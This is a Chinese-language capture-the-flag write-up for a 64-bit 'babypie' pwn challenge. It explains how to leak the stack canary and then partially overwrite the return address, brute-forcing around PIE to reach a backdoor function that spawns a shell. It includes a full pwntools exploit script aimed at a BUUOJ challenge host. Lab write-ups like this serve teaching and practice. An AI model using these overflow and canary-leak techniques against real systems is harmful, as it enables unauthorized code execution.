下载 exeinfo checksec
开启了NX Canary和PIE 64位
IDA64 查看
明显的栈溢出漏洞
发现有后门函数
目的是栈溢出到后门函数执行binsh
首先需要绕过Canary保护:
先启用pwndbg调试:
查看栈情况后,可以看到Canary和输入的字符差了 0xB8-0x90=0x28 和RBP差了8字节
构造第一个payload泄露canary:
payload1 = b'a' * (0x28 + 1)
#+1为了将canary结尾的\x00去掉使puts能够打印出canary
p.sendafter("Name:\n", payload1)
p.recvuntil(b'a' * (0x28 + 1))
canary = u64(p.recvn(7).rjust(8, b'\x00'))
print(hex(canary))
Canary保护已经解决,接下来就是绕过PIE保护
IDA上的后门函数只知道后三位
这里要采用栈上的部分写方式 爆破得到后门函数的确切地址
exp:
from pwn import *
#gdb.attach(p)
#pause()
while True:
p = remote("node5.buuoj.cn", 27768)
#p = process('./babypie')
payload1 = b'a' * (0x28 + 1)
#+1为了将canary结尾的\x00去掉使puts能够打印出canary
p.sendafter("Name:\n", payload1)
p.recvuntil(b'a' * (0x28 + 1))
canary = u64(p.recvn(7).rjust(8, b'\x00'))
print(hex(canary))
payload2 = b'a' * 0x28 + p64(canary) + b'b' * 8 + b'\x3E\x0A'
#小端序 所以0x3E放最前面
p.sendafter(":\n", payload2)
p.interactive()
p.close()
运行,得到flag: